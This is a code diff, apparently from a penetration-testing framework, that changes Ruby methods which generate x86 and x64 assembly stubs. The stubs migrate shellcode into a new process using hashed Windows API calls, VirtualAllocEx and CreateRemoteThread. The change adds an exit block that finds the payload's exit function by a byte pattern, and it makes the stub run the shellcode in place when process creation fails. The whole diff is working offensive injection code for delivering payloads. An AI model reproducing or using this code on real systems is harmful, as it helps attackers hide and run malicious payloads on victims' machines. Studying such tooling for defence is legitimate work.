@@ -147,6 +147,23 @@ def prepend_migrate(buf)
147
147
jmp.i8 next_mod ; Process this module
148
148
;--------------------------------------------------------------------------------------
149
149
EOS
150
+
151
+ # Prepare default exit block (sleep for a long long time)
152
+ exitblock = <<-EOS
153
+ ;sleep
154
+ push -1
155
+ push 0xE035F044 ; hash( "kernel32.dll", "Sleep" )
156
+ call ebp ; Sleep( ... );
157
+ EOS
158
+
159
+ # Check to see if we can find exitfunc in the payload
160
+ exitfunc_index = buf . index ( "\x68 \xA6 \x95 \xBD \x9D \xFF \xD5 \x3C \x06 \x7C \x0A " +
161
+ "\x80 \xFB \xE0 \x75 \x05 \xBB \x47 \x13 \x72 \x6F \x6A \x00 \x53 \xFF \xD5 " )
162
+ if exitfunc_index
163
+ exitblock_offset = "0x%04x + payload - exitblock" % ( exitfunc_index - 5 )
164
+ exitblock = "exitblock:\n jmp $+#{ exitblock_offset } "
165
+ end
166
+
150
167
block_api_ebp_asm = <<-EOS
151
168
pop ebp ; Pop off the address of 'api_call' for calling later.
152
169
EOS
@@ -213,9 +230,7 @@ def prepend_migrate(buf)
213
230
214
231
; if we didn't get a new process, use this one
215
232
test eax,eax
216
- jnz goodProcess ; Skip this next block if we got a new process
217
- dec eax
218
- mov [edi], eax ; handle = NtCurrentProcess()
233
+ jz payload ; If process creation failed, jump to shellcode
219
234
220
235
goodProcess:
221
236
; allocate memory in the process (VirtualAllocEx())
@@ -254,10 +269,7 @@ def prepend_migrate(buf)
254
269
push 0x799AACC6 ; hash( "kernel32.dll", "CreateRemoteThread" )
255
270
call ebp ; CreateRemoteThread( ...);
256
271
257
- ;sleep
258
- push -1
259
- push 0xE035F044 ; hash( "kernel32.dll", "Sleep" )
260
- call ebp ; Sleep( ... );
272
+ #{ exitblock } ; jmp to exitfunc or long sleep
261
273
262
274
getcommand:
263
275
call gotcommand
@@ -266,6 +278,7 @@ def prepend_migrate(buf)
266
278
#{ block_close_to_payload }
267
279
begin_of_payload:
268
280
call begin_of_payload_return
281
+ payload:
269
282
EOS
270
283
migrate_asm
271
284
end
@@ -369,6 +382,24 @@ def prepend_migrate_64(buf)
369
382
mov rdx, [rdx] ; Get the next module
370
383
jmp next_mod ; Process this module
371
384
EOS
385
+
386
+ # Prepare default exit block (sleep for a long long time)
387
+ exitblock = <<-EOS
388
+ ;sleep
389
+ xor rcx,rcx
390
+ dec rcx ; rcx = -1
391
+ mov r10d, 0xE035F044 ; hash( "kernel32.dll", "Sleep" )
392
+ call rbp ; Sleep( ... );
393
+ EOS
394
+
395
+ # Check to see if we can find x64 exitfunc in the payload
396
+ exitfunc_index = buf . index ( "\x41 \xBA \xA6 \x95 \xBD \x9D \xFF \xD5 \x48 \x83 \xC4 \x28 \x3C \x06 " +
397
+ "\x7C \x0A \x80 \xFB \xE0 \x75 \x05 \xBB \x47 \x13 \x72 \x6F \x6A \x00 \x59 \x41 \x89 \xDA \xFF \xD5 " )
398
+ if exitfunc_index
399
+ exitblock_offset = "0x%04x + payload - exitblock" % ( exitfunc_index - 5 )
400
+ exitblock = "exitblock:\n jmp $+#{ exitblock_offset } "
401
+ end
402
+
372
403
block_api_rbp_asm = <<-EOS
373
404
pop rbp ; Pop off the address of 'api_call' for calling later.
374
405
EOS
@@ -432,9 +463,7 @@ def prepend_migrate_64(buf)
432
463
433
464
; if we didn't get a new process, use this one
434
465
test rax,rax
435
- jnz goodProcess ; Skip this next block if we got a new process
436
- dec rax
437
- mov [rdi], rax ; handle = NtCurrentProcess()
466
+ jz payload ; If process creation failed, jump to shellcode
438
467
439
468
goodProcess:
440
469
; allocate memory in the process (VirtualAllocEx())
@@ -473,11 +502,7 @@ def prepend_migrate_64(buf)
473
502
mov r10d, 0x799AACC6 ; hash( "kernel32.dll", "CreateRemoteThread" )
474
503
call rbp ; CreateRemoteThread( ...);
475
504
476
- ;sleep
477
- xor rcx,rcx
478
- dec rcx ; rcx = -1
479
- mov r10d, 0xE035F044 ; hash( "kernel32.dll", "Sleep" )
480
- call rbp ; Sleep( ... );
505
+ #{ exitblock } ; jmp to exitfunc or long sleep
481
506
482
507
getcommand:
483
508
call gotcommand
@@ -486,6 +511,7 @@ def prepend_migrate_64(buf)
486
511
#{ block_close_to_payload }
487
512
begin_of_payload:
488
513
call begin_of_payload_return
514
+ payload:
489
515
EOS
490
516
migrate_asm
491
517
end
0 commit comments